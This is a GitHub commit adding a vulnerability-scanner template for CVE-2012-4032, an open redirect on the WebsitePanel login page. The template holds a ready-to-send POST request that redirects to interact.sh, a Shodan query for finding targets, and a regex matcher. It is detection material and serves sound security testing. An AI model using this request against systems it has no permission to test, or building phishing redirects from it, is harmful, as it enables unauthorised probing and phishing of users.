Merge pull request #7435 from ctflearner/CVE-2012-4032

Create CVE-2012-4032.yaml
patch-1
pussycat0x 2023-07-21 19:37:18 +05:30 committed by GitHub
commit 4420b75054
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2012-4032
info:
name: WebsitePanel before v1.2.2.1 - Open Redirect
author: ctflearner
severity: medium
description: |
Open redirect vulnerability in the login page in WebsitePanel before 1.2.2.1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in ReturnUrl to Default.aspx
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-4032
- https://www.exploit-db.com/exploits/37488
- https://packetstormsecurity.com/files/114541/WebsitePanel-CMS-Open-Redirect.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/76803
classification:
cvss-metrics: AV:N/AC:M/Au:N/C:P/I:P/A:N
cvss-score: 5.8
cve-id: CVE-2012-4032
cwe-id: CWE-20
cpe: cpe:2.3:a:websitepanel:websitepanel:*:*:*:*:*:*:*:*
metadata:
max-request: 1
shodan-query: title:"WebsitePanel" html:"login"
tags: cve,cve2012,redirect,websitepanel,authenticated
http:
- raw:
- |
POST /Default.aspx?pid=Login&ReturnUrl=http%3A%2F%2Fwww.interact.sh HTTP/1.1
Host: {{Hostname}}
Cookie: UserCulture=en-US; .WEBSITEPANELPORTALAUTHASPX=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
ctl03%24ctl01%24ctl00%24txtUsername={{username}}&ctl03%24ctl01%24ctl00%24txtPassword={{password}}&ctl03%24ctl01%24ctl00%24btnLogin=+++Sign+In+++&ctl03%24ctl01%24ctl00%24ddlLanguage=en-US&ctl03%24ctl01%24ctl00%24ddlTheme=Default
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:http?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'